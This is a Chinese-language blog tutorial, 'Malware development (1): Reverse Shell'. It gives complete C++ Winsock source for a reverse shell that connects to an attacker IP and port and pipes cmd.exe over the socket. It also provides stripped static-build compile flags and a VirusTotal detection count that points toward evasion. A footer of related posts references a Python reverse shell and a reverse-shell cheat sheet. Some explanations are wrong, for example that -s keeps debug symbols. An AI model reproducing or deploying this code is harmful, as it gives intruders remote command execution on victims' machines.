恶意软件开发(一)Reverse Shell
什么是Reverse Shell?
反向 Shell(Reverse Shell)是指远程攻击者在攻击成功后,通过建立一个反向连接,让受害者的机器连接到攻击者的机器上,从而达到控制受害者机器的目的。通常情况下,攻击者需要在受害者机器上植入一个恶意程序,使得该程序能够在后续与攻击者机器建立连接并接受攻击者的指令。反向 Shell 通常被用于在目标机器上执行命令、获取敏感数据、植入其他恶意程序等操作。攻击者可以通过反向 Shell 轻松地远程控制目标机器,而不需要经过复杂的端口转发等操作。
C++编写Reverse Shell
(1)通过调用WSAStartup初始化套接字库
(2)创建socket
(3)连接攻击者主机的socket
(4)反弹命令行
初始化socket
// WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData);
创建socket
// 创建socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip);
连接攻击者主机的socket
// 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui)); // 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
反弹命令行
// 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
完整代码
#include <winsock2.h> // 通过包含winsock来使用Winsock API
#include <stdio.h>
#pragma comment(lib, "ws2_32")
WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
int main(int argc, char* argv[]){
// 设置攻击者IP和port
char *ip = (char*)"172.18.53.19";
short port = 4444;
// WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData);
// 创建socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip);
// 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui)); // 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
代码测试
这里使用kali(172.18.53.19)作为攻击者,Windows10物理机作为被攻击者,首先对代码进行编译:
g++ shell.cpp -o shell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
参数解释:
shell.cpp:要编译的源代码文件。
-o shell.exe:指定输出的可执行文件名为 shell.exe。
-lws2_32:连接 WinSock2 库,这是一个 Windows 下的网络编程库。
-s:在输出文件中包含符号表和调试信息,以便在调试程序时使用。
-ffunction-sections 和 -fdata-sections:告诉编译器将每个函数和变量放在不同的节(section)中。这样做可以使得链接器只链接实际使用的代码和数据,而忽略未使用的代码和数据,从而减小可执行文件的大小。
-Wno-write-strings:忽略对字符串常量的写操作,避免编译器报出相关的警告。
-fno-exceptions:禁用 C++ 异常处理机制。
-fmerge-all-constants:将所有常量合并到一个单独的节中。
-static-libstdc++ 和 -static-libgcc:告诉编译器链接静态版的标准 C++ 库和 GCC 运行时库。
-fpermissive:容错模式,允许一些不符合标准的代码通过编译。

接着,在kali上起监听:

在Windows主机上运行shell.exe,在kali上发现shell已经反弹回来了:

将编译完的shell.exe上传至virustotal,可以发现68个AV引擎中,有8个将文件检测为恶意软件:

恶意软件开发(一)Reverse Shell的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Simple python reverse shell
import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...
- 安卓开发,adb shell 调试sqlite3数据库
安卓开发,adb shell 调试sqlite3数据库 在安卓中创建了sqlite3数据库,想要调试怎么办? 通过adb shell来进行查看. 第一步,将adb加入到系统变量中. 这样就可以在命令行 ...
- Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet If you're lucky enough to find a command execution vulnerability during a ...
- 常见语言反弹shell reverse shell
本文来自:https://www.hacking.land/2019/03/reverse-shell-cheat-sheet.html?m=1 前言 If you're lucky enough t ...
- 让你提前知道软件开发(22):shell脚本文件操作
文章1部分 再了解C语言 shell脚本中的文件操作 [文章摘要] 编写shell脚本时,经常会涉及到对文件的操作,比方从文件里读取一行数据.向文件追加一行数据等. 完毕文件读写操作的方法有非常多,了 ...
- Android开发——使用ADB Shell命令实现模拟点击(支付宝自动转账实现)
首先声明,本人反对一切利用技术的违法行为 本文的实现代码已经销毁,本文以介绍流程为主 1.这里所说的模拟点击不是在自己的APP里点击,点自己APP上的控件没什么好说的 不仅是支付宝转账,其他的获取别人 ...
- 日常开发中的shell小技巧
工具推荐 命令行中很方便的代码统计工具---cloc 强大的分屏工具---tmux 最舒服的markdown书写工具---typora markdown图床推荐--七牛云 模拟生成熵(避免暴力手搓键盘 ...
- iOS开发进阶 - 使用shell脚本自动打包上传到fir.im上-b
用fir.im测试已经好长时间了,感觉每次打包上传都很麻烦,想着是不是可以用脚本自动打包,在网上搜了一下确实有,下面总结一下如何使用脚本自动打包上传到fir.im,以及打包过程中遇到的问题和解决办法 ...
- ARM开发板链接shell
1.用网线插入开发板(最好链接路由器) 2.启动开发板(可以用U盘启动) 执行 #run bootusb 3.联网 #ifconfig eth0 up #udhcpc或者#dhclient wan # ...
随机推荐
- CF1089K King Kog's Reception 题解
题目传送门 前置知识 线段树 解法 第一眼感觉和 luogu P1083 [NOIP2012 提高组] 借教室 很像.本题同样采用线段树维护,\(sum_{l,r}(1 \le l \le r \le ...
- google recaptcha 谷歌人机身份验证超详细使用教程,前端/后端集成说明
壹 ❀ 引 在日常页面交互中,验证码使用是极为频繁的,登录注册验证,非机器人操作验证等等,它遍布于每一个网站.说到验证码实现,Goole Recaptcha是一个非常不错的选择,那么希望通过本文的使用 ...
- NEMU PA 3-3 实验报告
一.实验目的 在上一章PA3-2中,我们实现了分段机制,将48位的虚拟地址vaddr转换成了laddr.为什么不是paddr呢?这就要说到这一章要完成的东西:**分页机制 **. 从80386开始,计 ...
- Centos中安装deb报错
centos7中安装deb包 概要:deb包和rpm包区别:deb后缀的软件包是for Debian系的(包括Ubuntu),不是给centos安装的:rpm后缀的软件包才是for Redhat系 ...
- 开年!5 款令人惊艳的开源项目「GitHub 热点速览」
朋友们开工大吉啊!我刚从假期模式切换回来,完全无心工作有些不在状态,比如开机密码错了好几次.闲话少叙,下面就让我们一起看看,春节这段时间 GitHub 上又出了什么有趣.好玩的开源项目. 今年上来就是 ...
- STC8H8K64U 的 USB 功能测试(未成功)
对 STC8H8K64U 的 USB 功能测试, 因为存在很多问题并且未能解释/解决, 就不写到系列里了, 把记录放上来抛砖引玉吧. 代码 测试代码下载地址 http://www.stcmcudata ...
- python中矩阵切片维数微秒变化
1 前言 使用切片访问矩阵的部分数据(特别是一行或一列数据)时,通常会出现切片维数怎么在瞎变化,以致于不得不用reshape()强制改变维数.在深度学习中,网络对矩阵维数的要求是非常严格的,往往就是这 ...
- SpringCloud Config配置中心实战
介绍 本文以理论结合实践编写,篇幅较长,各位看官保持耐心:),部分内容引用自网络. 什么是配置中心? 当微服务过多的时候,每个微服务的配置很难集中管理.SpringCloud Config通过git代 ...
- Thinkpad T14 AMD版无线网卡不可用
硬件环境: Thinkpad T14 AMD 操作系统: Windows 10家庭版 问题描述: Windows 10在后台默默做了补丁更新,导致无线网卡和蓝牙鼠标都不可用(但是有线网却是能正常工作的 ...
- FFmpeg开发笔记(八):ffmpeg解码音频并使用SDL同步音频播放
若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...